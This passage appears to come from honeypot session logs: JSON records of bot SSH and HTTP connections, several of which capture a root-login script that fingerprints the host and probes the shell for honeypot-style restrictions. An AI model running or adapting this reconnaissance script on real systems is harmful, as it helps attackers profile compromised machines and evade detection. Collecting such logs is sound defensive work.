  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:04:30.369468+00:00",
  "ended_at": "2026-08-27T09:04:31.208151+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "26be28a9-ebb9-48c5-b4fa-2dbc214ea15a",
  "name": "noble-buoyant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:02:42.793658+00:00",
  "ended_at": "2026-08-27T09:02:42.952648+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c20867e7-56de-4d33-932b-2ee888011309",
  "name": "drifting-opal-caracal",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "103.196.9.21",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 26_3_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/144.0.7559.95 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:01:33.054559+00:00",
  "ended_at": "2026-08-27T09:17:10.636695+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2994afaf-9cfc-446b-85b2-2d40a610db1b",
  "name": "plush-rambling-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 52174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:00:52.572729+00:00",
  "ended_at": "2026-08-27T09:00:52.682110+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bd6e633a-6fae-4784-a1d5-e10e07e465b5",
  "name": "airy-creaky-mallard",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "206.232.29.55",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 26_3_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/144.0.7559.95 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:59:06.443013+00:00",
  "ended_at": "2026-08-27T09:14:10.596485+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "486378c9-41b6-47cd-a3d9-54b16c0702b9",
  "name": "ashen-indigo-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 49012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:58:57.226275+00:00",
  "ended_at": "2026-08-27T08:58:57.367915+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7d79631e-efd9-49fd-b1a3-ebe334784108",
  "name": "crisp-rugged-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57804,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:58:11.743123+00:00",
  "ended_at": "2026-08-27T08:58:14.296000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fbb0bfa-1743-4f04-85c8-aba245adb514",
  "name": "shifting-breezy-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:57:03.148144+00:00",
  "ended_at": "2026-08-27T08:57:03.279665+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "45302c62-51b2-44b6-99b0-88c1852b1153",
  "name": "placid-civil-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:54:58.712921+00:00",
  "ended_at": "2026-08-27T08:54:58.826486+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "98dd6caa-b48c-4fa7-87ef-38c5d9f09e7e",
  "name": "arctic-snowy-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51317,
  "username": "user",
